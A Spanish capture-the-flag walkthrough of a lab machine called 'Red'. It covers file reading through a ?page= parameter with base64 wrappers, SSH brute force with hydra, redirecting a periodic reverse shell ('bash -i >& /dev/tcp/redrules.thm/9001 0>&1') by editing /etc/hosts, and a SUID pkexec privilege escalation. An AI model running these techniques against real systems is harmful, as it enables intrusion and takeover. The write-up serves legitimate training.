Red
Last updated
Last updated
En la maquina red
se enfrenta el blue y el red team, una maquina que al acceder a la maquina como el usuario blue
el otro te sacara y cambiara la contraseña. También tendrás que enumerar los procesos para poder escalar privilegios y hacer uso de la vulnerabilidad del pkexec
cuando tiene el privilegio SUID
Link
Created by and
Empezamos a enumerar los puertos abiertos
Una vez conociendo los puertos abiertos, realizaremos la enumeración de cada uno de los puertos con la herramienta de nmap
.
Los puertos abiertos que se tienen son 22,80
y tenemos los servicios ssh
y http
Enumerando el puerto 80
nos encontramos con un sitio web
Al navegar en el sitio web encontraremos con el parámetro ?page=
que usaremos para leer archivos de la maquina victima. La forma que podemos leer es con wrappers
haciendo uso de base 64
Función sanitize_input
:
La función sanitize_input
toma un parámetro $param
.
Usa str_replace
para eliminar las secuencias "../" y "./" del parámetro, lo que ayuda a prevenir ataques de navegación a través de directorios (../
) y a asegurar que la ruta sea relativa (./
).
Devuelve el parámetro sanitizado.
Obtención del parámetro page
:
El código intenta obtener el valor del parámetro page
de la superglobal $_GET
.
Se verifica si la variable $page
está definida y si su valor coincide con el patrón "/^[a-z]/". Este patrón permite solo letras minúsculas al comienzo del valor del parámetro.
Sanitización del parámetro page
:
Si el valor del parámetro page
está definido y pasa la verificación de patrón, se llama a la función sanitize_input
para limpiar el valor.
Lectura y salida del archivo:
Se utiliza la función readfile
para leer y enviar el contenido del archivo especificado por el parámetro page
.
Manejo de condiciones no cumplidas:
Si no se cumple la condición de la verificación de patrón o si el parámetro page
no está definido, el código redirige al usuario a una página predeterminada (home.html
).
Aunque se intenta sanear el parámetro page
, el enfoque utilizado no es completamente seguro contra todos los posibles vectores de ataque. Para una mayor seguridad, se recomienda el uso de funciones específicas como realpath
para normalizar y asegurar las rutas de archivos.
La verificación del patrón usando preg_match
puede ser insuficiente dependiendo de los requisitos específicos de seguridad. Podría ser más seguro especificar una lista blanca de páginas permitidas en lugar de solo verificar el formato del nombre del archivo.
Estuve enumerando los archivos del sistema y encontré algo interesante en /home/blue/.bash_history
en el siguiente código:
En el anterior archivo vemos un archivo llamado .reminder
que hace uso hashcat
para generar una lista de palabras.
Ahora intentaremos leer el archivo .reminder
Obtenemos el contenido del archivo el cual lo tenemos en base64
Decodificando nos encontramos con el contenido del archivo que es sup3r_p@s$w0rd!
Vamos a replicar el los comandos que encontramos en bash_history
del usuario blue
Generamos una lista de palabras, las cuales usaremos para realizar fuerza bruta contra el servicio ssh
Como no sabemos el usuario para iniciar sesion por ssh, haremos uso de un archivo user.txt
donde ingresaremos los nombres de usuarios que encontramos al enumerar el /etc/pass
que en este caso son blue
y red
.
Nos conectamos haciendo uso de las credenciales que encontró hydra
Tendremos que hacer uso el -T
para no perder la sesión ya que tenemos una serie de mensajes y al final nos cerrara la sesión.
Enumerando el sistema encontraremos un proceso que se ejecuta cada minuto, . Esto lo enumere con pspy64
Vamos a explicar mas lo que hace el comando:
bash -c
: Ejecuta el comando que sigue después de -c
en una instancia de Bash.
nohup
: Es un comando que se utiliza para ejecutar otro comando de forma que siga ejecutándose incluso después de que el terminal que lo inició haya sido cerrado. En este contexto, se utiliza para asegurarse de que la conexión persista incluso si se cierra la terminal.
bash -i
: Lanza una instancia interactiva de Bash, lo que significa que el shell se ejecutará de forma interactiva permitiendo la entrada y salida.
>& /dev/tcp/redrules.thm/9001
: Esto redirige tanto la salida estándar como la salida de error al socket TCP especificado. En este caso, redirige la salida a redrules.thm
en el puerto 9001
.
0>&1
: Redirige la entrada estándar al mismo lugar que la salida estándar, lo que asegura que la entrada y salida estén conectadas.
&
: Coloca el proceso en segundo plano, permitiendo que el terminal esté disponible para otros comandos.
Observemos un poco mas redrules.thm
que esta en /etc/hosts
. Vemos que este dominio redirige a una ip
que al enumerar vemos que no existe
Vemos que tenemos permisos de escritura sobre el archivo /etc/hosts
, entonces lo que realizaremos sera ingresar nuestra IP atacante con el dominino
Ingresamos nuestra IP atacante con el dominio al /etc/hosts
Iniciamos ncat
en el puerto 9001
porque es por ahí que envía una Shell la maquina victima
Esperemos un minuto y debemos de tener una shell.
Ahora tenemos podemos leer y ver el contenido del directorio .git
y vemos que contiene un binario de pkexec
que tiene permisos de SUID
Ahora para subir el exploit en Python podemos hacer uso el método que prefiramos mas
¡Vamos! Happy Hacking
Haremos uso de burpSuite
realizaremos las peticiones. Vemos que tenemos respuesta en base64 Leemos el index.php
en el cual tenemos el siguiente código
Para explotar este binario haremos uso de la vulnerabilidad . Antes de hacer uso el exploit cambiaremos la ruta del binario